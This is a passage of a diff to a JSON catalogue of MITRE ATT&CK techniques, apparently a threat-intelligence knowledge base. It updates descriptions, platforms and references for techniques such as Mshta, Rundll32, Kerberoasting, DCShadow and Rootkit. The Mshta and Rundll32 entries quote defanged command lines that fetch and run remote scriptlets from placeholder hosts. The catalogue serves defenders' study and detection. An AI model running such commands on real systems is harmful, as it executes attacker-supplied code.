connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.", + "meta": { + "external_id": "T1199", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "Application logs", + "Authentication logs", + "Third-party application logs" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1199" + ] + }, + "uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "value": "Trusted Relationship - T1199" + }, + { + "description": "The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)", + "meta": { + "external_id": "T1322", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1322" + ] + }, + "uuid": "31fa5b03-1ede-4fab-8a68-ed831fcf4899", + "value": "Misattributable credentials - T1322" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nDNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)", + "meta": { + "external_id": "T1382", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1382" + ] + }, + "uuid": "76c9e8cb-52e1-4ddc-80d4-5f7231842e06", + "value": "DNS poisoning - T1382" + }, + { + "description": "On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).", + "meta": { + "external_id": "T1424", + "kill_chain": [ + "mitre-mobile-attack:discovery" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1424", + "https://code.google.com/p/android/issues/detail?id=205565" + ] + }, + "uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", + "value": "Process Discovery - T1424" + }, + { + "description": "Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)", + "meta": { + "external_id": "T1286", + "kill_chain": [ + "mitre-pre-attack:organizational-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1286" + ] + }, + "uuid": "6c79d654-6506-4f33-b48f-c80babdcc52d", + "value": "Dumpster dive - T1286" + }, + { + "description": "Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)", + "meta": { + "external_id": "T1333", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1333" + ] + }, + "related": [ + { + "dest-uuid": "20a66013-8dab-4ca3-a67d-766c842c561c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "54eb2bab-125f-4d1c-b999-0c692860bafe", + "value": "Dynamic DNS - T1333" + }, + { + "description": "Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)", + "meta": { + "external_id": "T1363", + "kill_chain": [ + "mitre-pre-attack:stage-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1363" + ] + }, + "uuid": "13ff5307-b650-405a-9664-d8076930b2bf", + "value": "Port redirector - T1363" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nCredential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)", + "meta": { + "external_id": "T1374", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1374" + ] + }, + "uuid": "38a6d2f5-d948-4235-bb91-bb01604448b4", + "value": "Credential pharming - T1374" + }, + { + "description": "An adversary could download a legitimate app, disassemble it, add malicious code, and then reassemble the app, for example as described by Zhou and Jiang in (Citation: Zhou). The app would appear to be the original app but contain additional malicious functionality. The adversary could then publish this app to app stores or use another delivery technique.", + "meta": { + "external_id": "APP-14", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1444", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html", + "http://ieeexplore.ieee.org/document/6234407" + ] + }, + "uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "value": "Repackaged Application - T1444" + }, + { + "description": "During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).", + "meta": { + "external_id": "T1163", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1163", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ] + }, + "uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "value": "Rc.common - T1163" + }, + { + "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)", + "meta": { + "external_id": "T1121", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], "mitre_data_sources": [ "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1121", + "https://attack.mitre.org/techniques/T1121", "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", - "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx", - "https://github.com/subTee/AllTheThings" - ], - "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302" + "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx" + ] }, - "value": "Regsvcs/Regasm" + "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302", + "value": "Regsvcs/Regasm - T1121" }, { - "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata", + "description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)", "meta": { + "external_id": "T1014", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "BIOS", + "MBR", + "System calls" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1014", + "https://en.wikipedia.org/wiki/Rootkit", + "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", + "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf", + "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf" + ] + }, + "uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "value": "Rootkit - T1014" + }, + { + "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)", + "meta": { + "external_id": "T1170", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1170", + "https://en.wikipedia.org/wiki/HTML_Application", + "https://msdn.microsoft.com/library/ms536471.aspx", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/", + "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + ] + }, + "uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "value": "Mshta - T1170" + }, + { + "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in C:\\Windows\\System32\\ along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", + "meta": { + "external_id": "T1180", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Windows Registry", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1180", + "https://en.wikipedia.org/wiki/Screensaver", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + ] + }, + "uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "value": "Screensaver - T1180" + }, + { + "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)", + "meta": { + "external_id": "T1085", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], "mitre_data_sources": [ "File monitoring", "Process monitoring", @@ -4632,29 +9869,241 @@ "Binary file metadata" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1085" - ], - "uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5" + "https://attack.mitre.org/techniques/T1085", + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/" + ] }, - "value": "Rundll32" + "uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "value": "Rundll32 - T1085" }, { - "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries.[[Citation: Microsoft Regsvr32]]\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.[[Citation: SubTee Regsvr32 Whitelisting Bypass]] This variation of the technique has been used in campaigns targeting governments.[[Citation: FireEye Regsvr32 Targeting Mongolian Gov]]\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry, Process command-line parameters\n\nContributors: Casey Smith", + "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.", "meta": { + "external_id": "CAPEC-552", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "System calls" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1062", + "https://capec.mitre.org/data/definitions/552.html", + "http://en.wikipedia.org/wiki/Xen", + "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf", + "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html", + "https://en.wikipedia.org/wiki/Hypervisor" + ] + }, + "uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63", + "value": "Hypervisor - T1062" + }, + { + "description": "DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)", + "meta": { + "external_id": "T1207", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "API monitoring", + "Authentication logs", + "Network protocol analysis", + "Packet capture" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1207", + "https://www.dcshadow.com/", + "https://adsecurity.org/?page_id=1821", + "https://github.com/shellster/DCSYNCMonitor", + "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html", + "https://msdn.microsoft.com/en-us/library/ms677626.aspx" + ] + }, + "uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a", + "value": "DCShadow - T1207" + }, + { + "description": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)", + "meta": { + "external_id": "T1208", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1208", + "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", + "https://msdn.microsoft.com/library/ms677949.aspx", + "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx", + "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1", + "https://adsecurity.org/?p=2293", + "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/" + ] + }, + "uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "value": "Kerberoasting - T1208" + }, + { + "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\n\n### Windows\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the C:\\Windows\\System32 directory. Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n### Linux\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include \"rsyncd\" and \"dbus-inotifier\". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)", + "meta": { + "external_id": "T1036", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1036", + "https://www.endgame.com/blog/how-hunt-masquerade-ball", + "https://www.f-secure.com/documents/996508/1030745/CozyDuke", + "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/", + "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", + "https://vms.drweb.com/virus/?i=4276269" + ] + }, + "uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "value": "Masquerading - T1036" + }, + { + "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macos being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)", + "meta": { + "external_id": "T1064", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1064", + "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", + "http://www.metasploit.com", + "https://www.veil-framework.com/framework/", + "https://github.com/mattifestation/PowerSploit", + "https://www.uperesia.com/analyzing-malicious-office-documents" + ] + }, + "uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "value": "Scripting - T1064" + }, + { + "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", + "meta": { + "external_id": "T1067", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "MBR", + "VBR" + ], + "mitre_platforms": [ + "Linux", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1067", + "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion", + "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf" + ] + }, + "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", + "value": "Bootkit - T1067" + }, + { + "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire, (Citation: Github PowerShell Empire) PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)", + "meta": { + "external_id": "T1086", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1086", + "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", + "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx", + "https://github.com/mattifestation/PowerSploit", + "https://github.com/jaredhaight/PSAttack", + "https://github.com/PowerShellEmpire/Empire", + "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf" + ] + }, + "uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "value": "PowerShell - T1086" + }, + { + "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)", + "meta": { + "external_id": "T1099", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1099", + "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" + ] + }, + "uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "value": "Timestomp - T1099" + }, + { + "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)", + "meta": { + "external_id": "T1117", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:execution" + ], "mitre_data_sources": [ "Loaded DLLs", "Process monitoring", @@ -4662,429 +10111,292 @@ "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows 